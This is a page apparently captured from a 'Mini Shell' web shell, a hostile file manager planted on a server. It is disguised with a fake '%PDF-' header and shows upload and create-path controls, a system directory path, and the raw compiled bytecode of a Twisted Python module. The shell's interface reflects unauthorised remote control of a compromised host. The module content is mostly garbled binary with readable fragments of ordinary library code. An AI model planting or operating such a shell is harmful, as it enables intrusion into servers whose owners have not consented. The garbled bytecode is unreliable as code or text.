%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/twisted/words/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/twisted/words/__pycache__/tap.cpython-312.pyc

�

Ϫ�ft
����dZddlZddlZddlmZmZmZddlmZddl	m
Z
ddlmZddl
mZmZmZmZddlmZdd	lmZmZGd
�dej.ej0�Zd�Zy)
z
Shiny new words service maker
�N)�List�Optional�Sequence)�plugin)�strports)�MultiService)�checkers�credentials�portal�strcred)�usage)�iwords�servicec��eZdZUejgZddej�dfgZe	e
eee
d<ejdg��ZiZdZej(ej,�D]SZej.evsJ�eeej.<ej1ej.dzdddej.zd	zf��U[d
�Zd�Zd�Zy)
�Options�hostnameNz*Name of this server; purely an informative�
optParameters�group)�multiUse�-portz2strports description of the port to bind for the  z serverc�T�tjj|g|��i|��g|d<y)N�groups)r
r�__init__)�self�a�kws   �3/usr/lib/python3/dist-packages/twisted/words/tap.pyrzOptions.__init__2s'��
�
�
���t�.�a�.�2�.���X��c�z�|dj|jtjj��y)z"Specify a group which should existrN)�append�decode�sys�stdin�encoding)r�names  r�	opt_groupzOptions.opt_group6s'���X����d�k�k�#�)�)�*<�*<�=�>rc�L�|jtj|��y)z�
        Name of a passwd-style file. (This is for
        backwards-compatibility only; you should use the --auth
        command instead.)
        N)�
addCheckerr	�FilePasswordDB)r�filenames  r�
opt_passwdzOptions.opt_passwd:s��	
����/�/��9�:r)�__name__�
__module__�__qualname__r
�IUsernamePassword�supportedInterfaces�socket�gethostnamerrrr�str�__annotations__r
�Completions�compData�interfacePlugins�plgr�
getPluginsr�IProtocolPluginr%r rr&r+�rrrrs��&�8�8�9��
���F��� �8�		
�4�M�4���#��/�0��!�u� � �7�)�4�H���
�C� �v� � ��!7�!7�8�
���x�x�/�/�/�/�%(�����"�������7�"���D��(�(����	
�		
�
�	��?�;rrc��|jdg�}tj|d�}tj||�}t�}|jD]_}|j|dz�}|��|j|j||�}tj||�}|j|��a|dD]}	|j|	��|S)N�credCheckersrrr)�getr�InMemoryWordsRealmr�Portalrr7�
getFactoryr�setServiceParent�createGroup)
�configr=�
wordsRealm�wordsPortal�msvc�plgName�port�factory�svc�gs
          r�makeServicerMCs����:�:�n�b�1�L��+�+�F�:�,>�?�J��-�-�
�L�9�K��>�D��*�*�'���z�z�'�G�+�,�����-�-�g�6�A�A��K��G��"�"�4��1�C�� � ��&�'��H�
�"�����q�!�"��Kr)�__doc__r1r"�typingrrr�twistedr�twisted.applicationr�twisted.application.servicer�twisted.credr	r
rr�twisted.pythonr
�
twisted.wordsrrr�AuthOptionMixinrMr;rr�<module>rWsK����
�+�+��(�4�?�?� �)�,;�e�m�m�W�4�4�,;�^r

Zerion Mini Shell 1.0